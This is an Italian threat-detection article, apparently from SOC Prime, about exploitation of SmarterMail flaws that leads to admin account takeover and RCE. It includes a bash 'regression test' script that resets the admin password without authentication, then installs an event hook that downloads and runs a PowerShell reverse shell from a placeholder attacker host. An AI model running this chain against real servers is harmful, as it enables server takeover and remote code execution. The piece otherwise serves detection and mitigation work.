SOC Prime Bias: Critico

04 Feb 2026 13:59 UTC

DE&TH alle Vulnerabilità: Huntress Intercetta un’Acquisizione di Account SmarterMail Che Porta a RCE

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
DE&TH alle Vulnerabilità: Huntress Intercetta un’Acquisizione di Account SmarterMail Che Porta a RCE
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Huntress ha osservato l’abuso in-the-wild di due falle di SmarterMail che consentono la presa di controllo di account privilegiati e, infine, l’esecuzione di codice remoto. Gli aggressori iniziano flussi di reset password non autenticati per ottenere un token privilegiato, quindi abusano dei “system events” di SmarterMail per eseguire comandi per il riconoscimento dell’host. L’attività ha impattato diversi clienti e ha mostrato segni di sfruttamento ampio e automatizzato su larga scala.

Indagine

Gli analisti di Huntress hanno ricostruito una sequenza coerente di richieste HTTP POST contro gli endpoint API di SmarterMail utilizzati per attivare i reset password, autenticare, configurare system events, aggiungere domini controllati dall’attaccante, e successivamente rimuovere tracce. La catena prende di mira CVE-2026-23760 (presa di controllo di account privilegiati) e CVE-2025-52691 (caricamento arbitrario di file). Le richieste utilizzavano comunemente l’user-agent python-requests/2.32.4, e gli operatori lasciavano file result.txt contenenti l’output del riconoscimento dei comandi eseguiti.

Mitigazione

Aggiornare SmarterMail alla build 9511 o successiva per affrontare entrambe le CVE. Rivedere e restringere l’esposizione delle API, disabilitare o limitare i system events non necessari, e monitorare attività API anomale che alterano account, eventi o domini. Identificare e rimuovere eventuali system events o domini creati dagli attaccanti per eliminare la persistenza.

Risposta

Rileva il pattern di chiamata API sospetto e l’user-agent python-requests/2.32.4, blocca gli IP sorgente offensivi, e cancella i system events malevoli. Ruota immediatamente le credenziali privilegiate. Esegui indagini forensi sugli endpoint per individuare result.txt e convalidare se sono stati posti payload aggiuntivi. Notifica agli utenti/clienti impattati e fornisci una chiara guida di rimedio.

Flusso di Attacco

Esecuzione della Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.

Narrativa dell’Attacco e Comandi

  1. Ricognizione: L’attaccante scopre che l’istanza SmarterMail esegue una versione vulnerabile a CVE‑2026‑23760.
  2. Forza Reset Password (T1098): Utilizzando il force-reset-password endpoint non autenticato per impostare una password conosciuta per il admin account privilegiato.
  3. Autenticare (T1078): Accedi con le nuove credenziali impostate tramite authenticate-user endpoint, ottenendo un token di sessione.
  4. Distribui Malicious Event Hook (T1569): POST di un payload JSON creato su event-hook che punta a una reverse shell PowerShell ospitata sul server dell’attaccante.
  5. Esecuzione Trigger: L’event-hook viene eseguito automaticamente sul webserver, generando una reverse shell per l’attaccante.
  6. Pulizia: Rimuovi l’hook malevolo tramite event-hook-delete endpoint (escluso dal rilevamento).

Tutti i passaggi generano eventi HTTP POST che corrispondono ai parametri di selezione della regola Sigma. selection criteri.

Script di Test di Regressione

#!/usr/bin/env bash
# -------------------------------------------------
# Simulazione di Presa di Controllo Account SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Forza il reset della password (non autenticato)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Autenticazione e cattura del token di sessione
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Distribuzione del hook malevolo (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

echo "[+] Hook malevolo distribuito. In attesa della reverse shell..."

# 4. (Opzionale) Attendere la reverse shell – l'attaccante esegue listener separatamente:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Pulizia – rimuovere l'hook (escluso dal rilevamento)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Comandi di Pulizia

#!/usr/bin/env bash
# Rimuovi eventuali hook malevoli residui e resetta la password amministratore

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Autentica con la password sicura (se nota) o usa il token precedente
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Elimina il hook malevolo (se ancora presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Resetta la password dell'amministratore a un valore sicuro conosciuto
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"